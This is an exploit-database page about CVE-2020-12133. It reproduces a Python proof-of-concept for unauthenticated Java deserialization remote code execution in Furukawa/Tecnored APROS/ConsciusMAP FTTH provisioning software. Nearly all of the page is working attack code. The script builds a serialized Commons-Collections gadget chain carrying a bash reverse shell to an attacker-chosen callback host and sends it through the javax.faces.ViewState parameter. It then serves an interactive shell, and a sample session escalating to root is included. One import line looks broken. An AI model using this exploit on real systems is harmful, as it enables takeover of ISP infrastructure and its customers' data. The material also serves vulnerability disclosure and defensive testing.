Furukawa Electric ConsciusMAP 2.8.1 Java Deserialization Remote Code Execution
CVE
Category
Price
Severity
CVE-2020-12133
CWE-502
$5,000
Critical
Author
Risk
Exploitation Type
Date
Nico Golde
High
Remote
2020-04-26
CPE
cpe:cpe:/a:furukawa_electric:consciusmap:2.8.1
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020040154 Below is a copy:
Furukawa Electric ConsciusMAP 2.8.1 Java Deserialization Remote Code Execution #!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# Furukawa Electric ConsciusMAP 2.8.1 Java Deserialization Remote Code Execution
#
#
# Vendor: Furukawa Electric Co., Ltd. | Tecnored SA
# Product web page: https://www.furukawa.co.jp | https://www.tecnoredsa.com.ar
# Affected version: APROS Evolution | 2.8.1
# FURUKAWA | 2.7.10
# ConsciusMAP | 2.6.4
# | 2.3.1
# | 2.1.49
# | 2.1.36
# | 2.1.31
# | 2.1.18
# | 2.1.16
# | 2.1.15
# | 2.1.1
# | 2.0.1174
# | 1.8
# | 1.4.70
#
# Summary: Apros Evoluation / Furukawa / ConsciusMap is the Tecnored
# provisioning system for FTTH networks. Complete administration of
# your entire external FTTH network plant, including from the ONUs
# installed in each end customer, to the wiring and junction boxes.
# Unify all the management of your FTTH network on a single platform.
# Unify all your data, whether from customers, your network, or the
# external plant in one place. APROS FTTH allows you to manage your
# entire FTTH network in a simple and globalized way with just one
# click, without being a network expert. Includes services such as:
# bandwidth limitation, Turbo Internet for time plans, BURST Internet,
# QinQ for companies, and many more. General consumption graphics and
# per customer in real time. Captive Portal for cutting or suspension
# of the service.
#
# Desc: The FTTH provisioning solution suffers from an unauthenticated
# remote code execution vulnerability due to an unsafe deserialization
# of Java objects (ViewState) triggered via the 'javax.faces.ViewState'
# HTTP POST parameter. The deserialization can cause the vulnerable JSF
# web application to execute arbitrary Java functions, malicious Java
# bytecode, and system shell commands with root privileges.
#
# ===================================================================
# $ ./furukawa.py 172.16.0.1:8080 172.168.0.200 4444
# [*] Setting up valid URL path
# [*] Starting callback listener child thread
# [*] Starting handler on port 4444
# [*] Sending serialized object
# [*] Connection from 172.16.0.1:48446
# [*] You got shell!
# tomcat7@zslab:/var/lib/tomcat7$ id
# uid=114(tomcat7) gid=124(tomcat7) grupos=124(tomcat7),1003(furukawa)
# tomcat7@zslab:/var/lib/tomcat7$ sudo su
# id
# uid=0(root) gid=0(root) grupos=0(root)
# exit
# tomcat7@zslab:/var/lib/tomcat7$ exit
# *** Connection closed by remote host ***
# ===================================================================
#
# Tested on: Apache Tomcat/7.0.68
# Apache Tomcat/7.0.52
# Apache MyFaces/2.2.1
# Apache MyFaces/2.1.17
# Apache MyFaces/2.0.10
# GNU/Linux 4.4.0-173
# GNU/Linux 4.4.0-137
# GNU/Linux 4.4.0-101
# GNU/Linux 4.4.0-83
# GNU/Linux 3.15.0
# GNU/Linux 3.13.0-32
# PrimeFaces/4.0.RC1
# Apache-Coyote/1.1
# ACC Library 3.1
# Ubuntu 16.04.2
# Ubuntu 14.04.2
# Java/1.8.0_242
# Java/1.8.0_181
# Java/1.8.0_131
# Java/1.7.0_79
# MySQL 5.7.29
# MySQL 5.7.18
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2020-5565
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5565.php
#
# CVE ID: CVE-2020-12133
# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-12133
#
#
# 24.02.2020
#
import os#############
import sys############
import gzip#######o###
import zlib###########
import socket#########
import base64#########
import urllib#########
import requests#######
import telnetlib######
import threading######
import subprocess#####
from io import BytesIO
from time import sleep
from flash import blic
class Optics:
def __init__(self):
self.callback = None#
self.headers = None##
self.payload = None##
self.target = None###
self.lport = None####
self.path = None#####
self.cmd = None######
def allears(self):
telnetus = telnetlib.Telnet()
print("[*] Starting handler on port {}".format(self.lport))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", self.lport))
while True:
try:
s.settimeout(8)
s.listen(1)
conn, addr = s.accept()
print("[*] Connection from {}:{}".format(addr[0], addr[1]))
telnetus.sock = conn
except socket.timeout as p:
print("[!] Probably not vulnerable... ({poraka})".format(poraka=p))
print("[+] Check your port mappings.")
s.close()
exit(0)
break
print("[*] You got shell!")
#
# UnicodeDecodeError dirty fix:
# /usr/lib/python3.6/telnetlib.py
# Change from 'ascii' to 'utf-8' (Lines: 553 and 556)
#
telnetus.interact()
conn.close()
def thricer(self):
print("[*] Starting callback listener child thread")
konac = threading.Thread(name="ZSL", target=self.allears)
konac.start()
sleep(1)
self.gadget()
def gadget(self):
self.cmd = "/bin/bash -c /bin/bash${IFS}-i>&/dev/tcp/"
self.cmd += self.callback
self.cmd += "/"
self.cmd += str(self.lport)
self.cmd += "<&1"
payload = b"\xAC\xED\x00\x05\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C"
payload += b"\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03"
payload += b"\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x02\x3F\x40\x00\x00\x00\x00\x00"
payload += b"\x01\x73\x72\x00\x34\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63"
payload += b"\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E"
payload += b"\x73\x2E\x6B\x65\x79\x76\x61\x6C\x75\x65\x2E\x54\x69\x65\x64\x4D\x61"
payload += b"\x70\x45\x6E\x74\x72\x79\x8A\xAD\xD2\x9B\x39\xC1\x1F\xDB\x02\x00\x02"
payload += b"\x4C\x00\x03\x6B\x65\x79\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61"
payload += b"\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x03\x6D\x61\x70\x74"
payload += b"\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B"
payload += b"\x78\x70\x74\x00\x26\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x69\x74\x68"
payload += b"\x75\x62\x2E\x63\x6F\x6D\x2F\x6A\x6F\x61\x6F\x6D\x61\x74\x6F\x73\x66"
payload += b"\x2F\x6A\x65\x78\x62\x6F\x73\x73\x20\x73\x72\x00\x2A\x6F\x72\x67\x2E"
payload += b"\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F"
payload += b"\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x4C\x61\x7A"
payload += b"\x79\x4D\x61\x70\x6E\xE5\x94\x82\x9E\x79\x10\x94\x03\x00\x01\x4C\x00"
payload += b"\x07\x66\x61\x63\x74\x6F\x72\x79\x74\x00\x2C\x4C\x6F\x72\x67\x2F\x61"
payload += b"\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C"
payload += b"\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72"
payload += b"\x6D\x65\x72\x3B\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61"
payload += b"\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65"
payload += b"\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43"
payload += b"\x68\x61\x69\x6E\x65\x64\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72"
payload += b"\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\x54\x72"
payload += b"\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72"
payload += b"\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F"
payload += b"\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73"
payload += b"\x66\x6F\x72\x6D\x65\x72\x3B\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72"
payload += b"\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E"
payload += b"\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x54\x72\x61\x6E\x73"
payload += b"\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\x02\x00"
payload += b"\x00\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70"
payload += b"\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C"
payload += b"\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E"
payload += b"\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D"
payload += b"\x65\x72\x58\x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69"
payload += b"\x43\x6F\x6E\x73\x74\x61\x6E\x74\x71\x00\x7E\x00\x03\x78\x70\x76\x72"
payload += b"\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x52\x75\x6E\x74\x69"
payload += b"\x6D\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x73\x72"
payload += b"\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D"
payload += b"\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66"
payload += b"\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72"
payload += b"\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38"
payload += b"\x02\x00\x03\x5B\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5B\x4C\x6A"
payload += b"\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C"
payload += b"\x00\x0B\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C"
payload += b"\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B"
payload += b"\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\x12"
payload += b"\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73"
payload += b"\x3B\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E"
payload += b"\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C"
payload += b"\x02\x00\x00\x78\x70\x00\x00\x00\x02\x74\x00\x0A\x67\x65\x74\x52\x75"
payload += b"\x6E\x74\x69\x6D\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C"
payload += b"\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A"
payload += b"\x99\x02\x00\x00\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4D"
payload += b"\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x02\x76\x72"
payload += b"\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E"
payload += b"\x67\xA0\xF0\xA4\x38\x7A\x3B\xB3\x42\x02\x00\x00\x78\x70\x76\x71\x00"
payload += b"\x7E\x00\x1B\x73\x71\x00\x7E\x00\x13\x75\x71\x00\x7E\x00\x18\x00\x00"
payload += b"\x00\x02\x70\x75\x71\x00\x7E\x00\x18\x00\x00\x00\x00\x74\x00\x06\x69"
payload += b"\x6E\x76\x6F\x6B\x65\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x02\x76\x72"
payload += b"\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63"
payload += b"\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x76\x71\x00"
payload += b"\x7E\x00\x18\x73\x71\x00\x7E\x00\x13\x75\x72\x00\x13\x5B\x4C\x6A\x61"
payload += b"\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2"
payload += b"\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00"
payload += (bytes(chr(len(self.cmd)), "utf-8"))##################################"
payload += (bytes(self.cmd, "utf-8"))############################################"
payload += b"\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x01"
payload += b"\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x0F\x73\x72\x00\x11\x6A\x61"
payload += b"\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12\xE2"
payload += b"\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65"
payload += b"\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D"
payload += b"\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x78\x70\x00"
payload += b"\x00\x00\x01\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E"
payload += b"\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00"
payload += b"\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09"
payload += b"\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\x00"
payload += b"\x00\x00\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x78"#######"
jbits = BytesIO()
with gzip.GzipFile(fileobj=jbits, mode="wb") as f:
f.write(payload)
serialize = base64.b64encode(jbits.getvalue())
print("[*] Sending serialized object")
self.headers = {
"Accept" : "text/html,application/xhtml+xml,application/xml;q=1.pwn",
"Content-Type" : "application/x-www-form-urlencoded",
"User-Agent" : "ISP-Eye/2.51",
"Connection" : "keep-alive"}
self.paramz={"javax.faces.ViewState" : serialize}
#sleep(1)
r = requests.post(self.target + self.path, headers=self.headers, data=self.paramz)
def par(self):
if len(sys.argv) != 4:
self.usage()
else:
self.target = sys.argv[1]
self.callback = sys.argv[2]
self.lport = int(sys.argv[3])
if not "http" in self.target:
self.target = "http://{}".format(self.target)
def check(self):
print("[*] Setting up valid URL path")
try:
r = requests.get(self.target)
app = r.text
if not "FURUKAWA" in app and not "APROS" in app:
print("[!] App not detected.")
exit(0)
if "FURUKAWA" in app:
self.path = "/FURUKAWA/"
elif "APROS" in app:
self.path = "/APROS/"
else:
exit(-1337)
except Exception as p:
print("[!] Somethingz wrong: \n--\n{poraka}".format(poraka=p))
exit(0)
def framed(self):
naslov = """
o===--------------------------------------===o
| |
| Furukawa Electric / Tecnored |
| APROS Evolution | FURUKAWA | ConsciusMAP |
| Fiber-To-The-Home (FTTH) |
| |
| Java Deserialization Remote Code Execution |
| ZSL-2020-5565 |
| |
o===--------------------------------------===o
||
||
(\__/)||
()||
/ |
"""
print(naslov)
def usage(self):
self.framed()
print("Usage: ./furukawa.py <RHOST[:RPORT]> <LHOST> <LPORT>")
print("Example: ./furukawa.py 172.16.0.1:8080 172.16.0.200 4444\n")
exit(0)
def main(self):
self.par()########()
self.check()######()
self.thricer()####()
if __name__ == '__main__':
Optics().main()
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